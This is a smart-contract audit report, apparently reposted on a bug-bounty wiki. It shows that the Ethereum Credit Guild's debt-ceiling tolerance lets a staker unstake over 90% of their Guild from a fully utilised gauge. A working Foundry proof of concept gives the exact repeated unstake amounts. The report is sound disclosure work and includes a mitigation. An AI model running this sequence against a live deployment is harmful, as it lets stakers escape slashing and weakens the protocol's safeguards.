Over 90% of the Guild staked in a gauge can be unstaked, despite the gauge utilizing its full debt allocation
A gauge's debt ceiling calculation uses a tolerance multiplier that allows a staker to unstake a portion of their Guild even when the gauge is at full debt allocation. By repeatedly unstaking small amounts, over 90% of the staked Guild can be withdrawn, bypassing the intended lock that prevents exit when the gauge is fully utilised.
Submitted by JCN
Users are incentivized to stake into a gauge in order to increase its debt ceiling. They are also incentivized to maintain the health of the protocol by calling unhealthy loans and offboarding unsound terms, and their staked Guild is subject to being slashed if they do not do so effectively. Once the debt ceiling for a gauge is reached, loans will need to be repaid or called in order for stakers to unstake their Guild. This invariant can be observed in the ECG audit page:
To unstake, the lending term issuance (borrow amount) must be below its debt ceiling, or they must first call one or more loans. This is to ensure no one can exit when they should be slashed.`
Note: I have also confirmed this to be an invariant of the protocol with the developers.
Below I will explain a scenario in which over 90% of staked Guild can be unstaked from a gauge that is currently using its full debt allocation. I will be using the parameters defined in the GIP_0.sol deployment script as an example, since these are the parameters that will define the protocol once it is launched:
hardCap = 2_000_000e18.- Global debt ceiling (i.e.
bufferCap) =2_000_000e18. interestRate= 0.04e18.maxDebtPerCollateralToken: 1e18.maxDelayBetweenPartialRepay= 0.minPartialRepayPercent= 0.openingFee= 0.
We will be utilizing the following state for our example (numbers chosen for easier calculations):
2_000_000e18Guild is staked into the gauge.2_000_000e18credit is borrowed (i.e. term is at full debt allocation).- Buffer is currently at
0(i.e. global debt ceiling exhausted). 2_000_000e18credit is minted via the PSM (for borrowers to redeem the associatedpegTokenwith their borrowed credit).- thus
issuance== 2_000_000e18 - thus
totalBorrowerdCredit== 2_000_000e18
When a user unstakes from a gauge the following code is invoked:
GuildToken::_decrementGaugeWeight#L224-L233
224: uint256 issuance = LendingTerm(gauge).issuance();
225: if (issuance != 0) {
226: uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
227: require(
228: issuance <= debtCeilingAfterDecrement,
229: "GuildToken: debt ceiling used"
230: );
231: }
232:
233: super._decrementGaugeWeight(user, gauge, weight);
As we can see above, the LendingTerm::debtCeiling function is invoked in order to calculate the gauge’s debt ceiling after the user’s weight is removed from the gauge. The resulting debt ceiling is required to be equal to or greater than the issuance (how much credit is borrowed from the gauge). If the adjusted debt ceiling is at, or still above, the current issuance, then the the user will be allowed to unstake their weight from the gauge. Let us observe the debtCeiling function to see what happens when a user tries to unstake Guild given the provided state mentioned earlier:
LendingTerm::debtCeiling#L274-L291
274: uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight(
275: address(this)
276: );
277: gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta);
278: uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this));
279: uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight(
280: gaugeType
281: );
282: uint256 creditMinterBuffer = RateLimitedMinter(refs.creditMinter)
283: .buffer();
284: uint256 _hardCap = params.hardCap; // cached SLOAD
285: if (gaugeWeight == 0) {
286: return 0; // no gauge vote, 0 debt ceiling
287: } else if (gaugeWeight == totalWeight) {
288: // one gauge, unlimited debt ceiling
289: // returns min(hardCap, creditMinterBuffer)
290: return
291: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The adjusted weight is computed on line 277, where gaugeWeightDelta is how much weight (Guild) the user wishes to unstake. If the adjusted weight is 0 then the adjusted debt ceiling is considered 0 (no debt ceiling). If the adjusted weight is equal to the total weight of the gauge then the minimum value between the hardCap and buffer is returned. The first return statement will be invoked if our user is trying to unstake all of the Guild in the gauge. If our user is attempting to unstake 0 Guild, then the second return statement will be invoked and the buffer, which is 0, will be returned. Here is a reminder of the current state we are operating under:
totalWeight=2_000_000e18.gaugeWeight=2_000_000e18.hardCap=2_000_000e18.- buffer
= 0.
If our user is attempting to withdraw a value > 0 and < totalWeight, the following code will execute:
LendingTerm::debtCeiling#L293-L303
293: uint256 _issuance = issuance; // cached SLOAD
294: uint256 totalBorrowedCredit = ProfitManager(refs.profitManager)
295: .totalBorrowedCredit();
296: uint256 gaugeWeightTolerance = ProfitManager(refs.profitManager)
297: .gaugeWeightTolerance();
298: if (totalBorrowedCredit == 0 && gaugeWeight != 0) {
299: // first-ever CREDIT mint on a non-zero gauge weight term
300: // does not check the relative debt ceilings
301: // returns min(hardCap, creditMinterBuffer)
302: return
303: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The above return statement will only be invoked if totalBorrowedCredit is 0, meaning there would need to be no current borrows for this gauge. This is not the case for our operating state since the entire hardCap of our gauge has been hit, and therefore, totalBorrowedCredit is 2_000_000e18. However, let us take note of the 3 values retrieved in the above code:
issuance=2_000_000e18.totalBorrowedCredit=2_000_000e18.tolerance= 1.2e18 (Note: Thistoleranceallows a gauge to extend 20% beyond its actual debt ceiling).
Since the above return statement can not be invoked under our operating state, we will continue to the next possible return statement:
LendingTerm::debtCeiling#L305-L310
305: uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) /
306: 1e18;
307: uint256 debtCeilingBefore = (totalBorrowedCredit *
308: toleratedGaugeWeight) / totalWeight;
309: if (_issuance >= debtCeilingBefore) {
310: return debtCeilingBefore; // no more borrows allowed
As seen above, this return statement will be invoked if the issuance is equal to or greater than the calculated debtCeilingBefore. Therefore, if we can somehow make debtCeilingBefore == issuance, then the require statement in GuildToken::_decrementGaugeWeight (issuance <= debtCeilingBefore) will also pass and we will have successfully unstaked Guild.
How can we do this? I was intrigued by the function of the tolerance and how it can influence (purposely inflate) the debt ceiling of a gauge. I.e. tolerance will allow a gauge’s debt allocation of 80% to be considered > 80%. However, what if the gauge’s debt allocation is currently at 100%? It stands to reason that we can decrease the gaugeWeight by a specified amount and after the tolerance is applied we can potentially produce the same value as the original totalWeight. I.e. debt allocation of the gauge remains the same. Given our current operating state we will have to make the toleratedGaugeWeight == totalWeight. Once this is achieved, the debtCeilingBefore will be equal to totalBorrowedCredit, which is equal to issuance.
Per my calculations, I found that given the current operating state we will be able to unstake ~16.66666...% of the totalWeight at a time. Below, I will demonstrate the calculations for doing so:
// use chisel console
// state
uint256 issuance = 2000000000000000000000000;
uint256 totalBorrwedCredit = 2000000000000000000000000;
uint256 tolerance = 1.2e18;
uint256 totalWeight = 2000000000000000000000000
// ideal unstakeAmount = totalWeight * .1666666666...
// solidity does not offer a lot of precision right out of the box so I used python to acquire the necessary precision
uint256 unstakeAmount = 333333333333333333333333;
// calculations
uint256 gaugeWeight = totalWeight - unstakeAmount;
// gaugeWeight == 1666666666666666666666667
uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18
// toleratedGaugeWeight == 2000000000000000000000000
toleratedGaugeWeight == totalWeight
uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight;
// debtCeilingBefore == 2000000000000000000000000
debtCeilingBefore == issuance
As we can see above, by utilizing the tolerance we were able to control the ratio between toleratedGaugeWeight and the totalWeight. Provided that the totalBorrowedCredit is equal to the issuance, we were able to unstake ~16.666666...% of the totalWeight from the gauge.
Impact
~16.6666% of the total staked Guild can be unstaked from a gauge currently utilizing its full debt allocation. This can be performed numerous times until over 90% of the total staked Guild has been unstaked. Theoretically, ~16.66666% can continue to be unstaked until virtually all meaningful Guild is unstaked from the gauge.
The above breaks an invariant of the protocol and enables Guild stakers to potentially avoid being slashed. Given that the Ethereum Credit Guild relies on properly incentivizing protocol participants to maintain the health of the system, this vulnerability can absolve stakers from punishment and disrupt the effectiveness and efficiency of the protocol, potentially leading to an unhealthy system.
Proof of Concept
The following PoC describes the scenario outlined in the Bug Description, where ~16.6666.... of the total staked Guild is unstaked from a gauge utilizing its full debt allocation. This is done until over 90% of the staked Guild has been unstaked from the gauge.
Place the test file inside of the test/unit/loan/ directory:
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
contract UnstakeAtDebtCeiling is Test {
address private governor = address(1);
address private guardian = address(2);
address user = address(0x01010101);
address borrower = address(0x02020202);
address lender = address(0x03030303);
Core private core;
ProfitManager private profitManager;
CreditToken credit;
GuildToken guild;
MockERC20 collateral;
MockERC20 pegToken;
SimplePSM private psm;
RateLimitedMinter rlcm;
AuctionHouse auctionHouse;
LendingTerm term;
// LendingTerm params (same as deployment script)
uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1
uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR
uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0;
uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0;
uint256 constant _HARDCAP = 2_000_000e18; // 2 million
uint256 public issuance = 0;
function setUp() public {
vm.warp(1679067867);
vm.roll(16848497);
core = new Core();
profitManager = new ProfitManager(address(core));
collateral = new MockERC20();
pegToken = new MockERC20(); // 18 decimals for easy calculations (deployment script uses USDC which has 6 decimals)
credit = new CreditToken(address(core), "name", "symbol");
guild = new GuildToken(
address(core),
address(profitManager)
);
rlcm = new RateLimitedMinter(
address(core) /*_core*/,
address(credit) /*_token*/,
CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/,
0 /*_maxRateLimitPerSecond*/,
0 /*_rateLimitPerSecond*/,
uint128(_HARDCAP) /*_bufferCap*/
);
auctionHouse = new AuctionHouse(address(core), 650, 1800);
term = LendingTerm(Clones.clone(address(new LendingTerm())));
term.initialize(
address(core),
LendingTerm.LendingTermReferences({
profitManager: address(profitManager),
guildToken: address(guild),
auctionHouse: address(auctionHouse),
creditMinter: address(rlcm),
creditToken: address(credit)
}),
LendingTerm.LendingTermParams({
collateralToken: address(collateral),
maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
interestRate: _INTEREST_RATE,
maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
openingFee: 0,
hardCap: _HARDCAP
})
);
psm = new SimplePSM(
address(core),
address(profitManager),
address(credit),
address(pegToken)
);
profitManager.initializeReferences(address(credit), address(guild), address(psm));
// roles
core.grantRole(CoreRoles.GOVERNOR, governor);
core.grantRole(CoreRoles.GUARDIAN, guardian);
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
core.grantRole(CoreRoles.GUILD_MINTER, address(this));
core.grantRole(CoreRoles.GAUGE_ADD, address(this));
core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
core.renounceRole(CoreRoles.GOVERNOR, address(this));
// add gauge
guild.setMaxGauges(10);
guild.addGauge(1, address(term));
}
function testUnstakeAtFullDebtAllocation() public {
// verify initial state
LendingTerm.LendingTermParams memory params = term.getParameters();
assertEq(params.hardCap, _HARDCAP);
assertEq(term.issuance(), 0);
assertEq(credit.totalSupply(), 0);
assertEq(psm.redeemableCredit(), 0);
assertEq(guild.getGaugeWeight(address(term)), 0);
assertEq(rlcm.buffer(), _HARDCAP);
// 2 million GUILD is staked into term
guild.mint(user, _HARDCAP);
vm.startPrank(user);
guild.incrementGauge(address(term), _HARDCAP);
vm.stopPrank();
assertEq(guild.getGaugeWeight(address(term)), _HARDCAP);
assertEq(guild.getUserWeight(user), _HARDCAP);
// 2 million CREDIT is borrowed from term
uint256 borrowAmount = _HARDCAP;
uint256 collateralAmount = _HARDCAP;
collateral.mint(borrower, collateralAmount);
vm.startPrank(borrower);
collateral.approve(address(term), collateralAmount);
term.borrow(borrowAmount, collateralAmount);
vm.stopPrank();
assertEq(term.issuance(), _HARDCAP);
assertEq(rlcm.buffer(), 0);
assertEq(credit.totalSupply(), _HARDCAP);
// 2 million CREDIT is minted from PSM
pegToken.mint(lender, _HARDCAP);
vm.startPrank(lender);
pegToken.approve(address(psm), _HARDCAP);
psm.mint(lender, _HARDCAP);
vm.stopPrank();
assertEq(credit.totalSupply(), _HARDCAP * 2);
assertEq(psm.redeemableCredit(), _HARDCAP);
// all 2 million loaned CREDIT gets redeemed in PSM by borrowers
vm.startPrank(borrower);
credit.approve(address(psm), _HARDCAP);
psm.redeem(borrower, _HARDCAP);
vm.stopPrank();
assertEq(credit.totalSupply(), _HARDCAP);
assertEq(psm.redeemableCredit(), 0);
// verify state
assertEq(collateral.balanceOf(address(term)), _HARDCAP);
assertEq(credit.balanceOf(borrower), 0);
assertEq(credit.balanceOf(lender), _HARDCAP);
assertEq(credit.totalSupply(), _HARDCAP);
assertEq(term.issuance(), _HARDCAP);
assertEq(psm.redeemableCredit(), 0);
assertEq(rlcm.buffer(), 0);
assertEq(guild.getGaugeWeight(address(term)), _HARDCAP);
assertEq(guild.totalWeight(), _HARDCAP);
assertEq(guild.getUserWeight(user), _HARDCAP);
assertEq(profitManager.gaugeWeightTolerance(), 1.2e18);
// user tries to unstake various amounts at debtCeiling, but correctly fails
vm.startPrank(user);
vm.expectRevert("GuildToken: debt ceiling used");
guild.decrementGauge(address(term), _HARDCAP);
vm.expectRevert("GuildToken: debt ceiling used");
guild.decrementGauge(address(term), 500_000e18);
vm.expectRevert("GuildToken: debt ceiling used");
guild.decrementGauge(address(term), 100e18);
vm.stopPrank();
// user successfully unstakes ~16.66%, despite term being at full debt allocation
uint256 totalUnstaked;
uint256 correction;
uint256 unstakeAmount = 333333333333333333333333;
emit log_named_uint("Gauge Weight before unstake", guild.getGaugeWeight(address(term)));
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 1st unstake", guild.getGaugeWeight(address(term)));
verifyState(0, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 1;
unstakeAmount = 277777777777777777777778;
vm.startPrank(user);
guild.incrementGauge(address(term), correction); // to handle rounding issues
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 2nd unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 231481481481481481481481;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 3rd unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 192901234567901234567901;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 4th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 5493827160493827160492; // to make calculations easier
unstakeAmount = 161666666666666666666666;
vm.startPrank(user);
guild.incrementGauge(address(term), 5493827160493827160492);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 5th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 134722222222222222222222;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 6th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 112268518518518518518518;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 7th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 93557098765432098765432;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 8th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 103395061728395061726; // to make calculations easier
unstakeAmount = 77981481481481481481481;
vm.startPrank(user);
guild.incrementGauge(address(term), 103395061728395061726);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 9th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 64984567901234567901234;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 10th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 160493827160493827; // to make calculations easier
unstakeAmount = 54153833333333333333333;
vm.startPrank(user);
guild.incrementGauge(address(term), 160493827160493827);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 11th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
unstakeAmount = 45128194444444444444444;
vm.startPrank(user);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 12th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
// user successfully unstakes another ~16.66%
correction += 1;
unstakeAmount = 37606828703703703703704;
vm.startPrank(user);
guild.incrementGauge(address(term), 1);
guild.decrementGauge(address(term), unstakeAmount);
vm.stopPrank();
totalUnstaked += unstakeAmount;
emit log_named_uint("Gauge Weight after 13th unstake", guild.getGaugeWeight(address(term)));
verifyState(correction, totalUnstaked);
emit log_named_uint("Number of GUILD user has unstaked so far", totalUnstaked);
// user can keep performing these calculations to unstake more GUILD
// calculations occurring in `LendingTerm::debtCeiling`:
// uint256 totalWeight = guild.totalTypeWeight(1);
// uint256 gaugeWeight = totalWeight - unstakeAmount;
// uint256 tolerance = profitManager.gaugeWeightTolerance(); // 1.2e18
// uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18; // totalWeight
// uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight; // 2_000_000e18
// ideal unstakeAmount ~= totalWeight + ((totalBorrowedCredit * totalWeight) / tolerance) *with a lot of precision*
// a.k.a totalWeight * .16666... *high high precision*
// the goal is to make `toleratedGaugeWeight == totalWeight`, assuming that totalBorrowedCredit == issuance
}
function verifyState(uint256 correction, uint256 unstaked) internal {
// verify state
assertEq(credit.totalSupply(), _HARDCAP);
assertEq(term.issuance(), _HARDCAP); // issuance is at hardCap/debtCeiling
assertEq(psm.redeemableCredit(), 0);
assertEq(rlcm.buffer(), 0); // global debtCeiling hit
assertEq(guild.getGaugeWeight(address(term)), _HARDCAP + correction - unstaked);
assertEq(guild.totalWeight(), _HARDCAP + correction - unstaked);
assertEq(guild.getUserWeight(user), _HARDCAP + correction - unstaked);
}
}
Recommended Mitigation Steps
An early check can be implemented to identify whether or not the gauge is currently using its full debt allocation. This check must be done before the gaugeWeight is adjusted. If the current gauge, given its current gaugeWeight, is utilizing its full debt allocation, then any attempt to unstake any amount of Guild should revert early.
eswak (Ethereum Credit Guild) confirmed and commented:
Confirming this, thanks a lot for the quality of the report!
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the debt ceiling calculation applies a tolerance multiplier to the gauge weight, which allows the adjusted debt ceiling to remain at or above the current issuance even after a significant portion of weight is removed.
Impact
Over 90% of staked Guild can be unstaked from a gauge at full debt allocation, allowing stakers to avoid slashing and undermining the protocol's incentive mechanism.
What the attacker needed
Gauge at full debt allocation; user has staked Guild in the gauge
How it was found
- Stake Guild into a gauge until it reaches its full debt allocation.
- Borrow the maximum amount of credit from the gauge.
- Attempt to unstake a large amount; the transaction reverts with 'debt ceiling used'.
- Unstake a smaller amount (about 16.67% of total weight) that passes the debt ceiling check due to the tolerance.
- Repeat the unstaking process multiple times, adjusting for rounding, until over 90% of the staked Guild is withdrawn.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this protocol, users stake tokens to back loans and earn rewards, but their stake can be taken away (slashed) if they misbehave. To prevent people from escaping punishment, the system normally blocks unstaking when the gauge has lent out its maximum. This report shows a flaw in the maths that lets a user unstake most of their tokens anyway, by exploiting a 20% tolerance in the debt ceiling calculation.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.